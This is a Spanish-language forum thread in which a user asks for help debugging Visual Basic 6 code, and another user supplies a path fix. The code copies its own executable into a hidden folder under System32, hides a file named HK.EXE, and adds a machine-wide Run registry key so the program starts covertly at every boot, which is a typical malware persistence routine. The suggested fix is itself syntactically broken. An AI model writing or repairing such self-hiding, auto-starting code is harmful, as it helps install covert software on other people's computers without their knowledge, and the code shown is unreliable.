AYUDAAAAAA!!!! Urgente!!!

[Nichas]

Haber tengo esto y me da un error diciendo File Not Found y Se me pone en amarillo toda esta fila: FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & App.EXEName & ".exe"

Ayuda!!! k Estoy k siempre me da algo Raro!!


Private Sub Form_Load()
Set sh = CreateObject("WScript.Shell")
Set ficheros = CreateObject("Scripting.FileSystemObject")
ficheros.CreateFolder "C:\Windows\system32\Private System"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\Private System" & App.EXEName & ".exe"
Call SetAttr("C:\Windows\system32\Private System" & "\HK.EXE", vbHidden)
sh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Private System", "C:\Windows\system32\Private System\HK.exe"
End
End Sub


Hmmmm.... hay que poner algun modulo??? XDDD

[programatrix]

Te da error porque es así:

Código [Seleccionar] Expandir

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & [b]\[/b] & App.EXEName & ".exe"

No así:

Código [Seleccionar] Expandir

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & App.EXEName & ".exe"

Te faltaba \